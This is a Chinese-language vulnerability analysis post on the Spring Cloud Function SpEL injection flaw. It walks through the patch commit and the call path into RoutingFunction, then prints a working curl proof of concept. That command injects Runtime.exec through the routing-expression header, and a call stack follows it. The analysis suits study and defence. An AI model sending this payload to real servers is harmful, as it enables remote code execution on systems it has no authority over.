0
点赞
收藏
分享

微信扫一扫

Spring Cloud Function SpEL表达式注入漏洞分析

沐之轻语 2022-04-06 阅读 80

0x01 影响版本

V3.0.0.M3 - V3.2.2

0x02 漏洞分析

使用该环境进行测试:

https://github.com/jwwam/scfunc -依赖版本改成3.2.2查看修复的记录

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

图片

看到设置了一个isViaHeader,通过它的值来选择是使用

SimpleEvaluationContext还是

StandardEvaluationContext来构造上下文

SimpleEvaluationContext通常被作为修复spel注入的方法

图片

确定了漏洞sink点后,向上寻找找到四处调用的地方,且均在

org.springframework.cloud.function.context.config.RoutingFunction#route中

其中有一处是可控的调用点

图片

将header头为

spring.cloud.function.routing-expression的值当作spel表达式来解析

那么我们可以看看如何能执行到此处代码,接着寻找调用route的

org.springframework.cloud.function.context.config.RoutingFunction#apply 方法,到这里向上寻找调用点就变得很多了,回过头来看一下测试代码的例子

图片

图片

greeter路由对应的处理代码如下

图片

可以看到该类实现了Function接口,并自动调用apply方法,回到我们的Routing-Function类同样是实现了Function接口,并存在apply方法,那么我们如果能直接访问RoutingFunction对应的路由,并发送特定header的数据包,即可实现spel表达式注入,查看该类发现其设置了FUNCTION_NAME属性

图片

那么可以通过发送如下数据包来执行spel表达式

curl localhost:8080/functionRouter -H "Content-Type: text/plain" -H"spring.cloud.function.routing- expression:T(java.lang.Runtime).getRuntime().exec(\"calc\")" -d "aa,bb,cc,dd,ee"

图片

调用栈

functionFromExpression:196, RoutingFunction(org.springframework.cloud.function.context.config)
route:127, RoutingFunction(org.springframework.cloud.function.context.config)
apply:86, RoutingFunction(org.springframework.cloud.function.context.config)
doApply:699, SimpleFunctionRegistry$FunctionInvocationWrapper(org.springframework.cloud.function.context.catalog)
apply:551, SimpleFunctionRegistry$FunctionInvocationWrapper(org.springframework.cloud.function.context.catalog)
processRequest:100, FunctionWebRequestProcessingHelper(org.springframework.cloud.function.web.util)
post:108, FunctionController (org.springframework.cloud.function.web.mvc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod(org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod(org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod(org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter(org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter(org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter(org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doPost:909, FrameworkServlet (org.springframework.web.servlet)
service:681, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter(org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter(org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1726, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

0x03 参考链接

  1. https://www.jianshu.com/p/04bc9f482b43

  2. https://mp.weixin.qq.com/s/sRVr43foiEh9bxDKkrMUkg

  3. https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

举报

相关推荐

0 条评论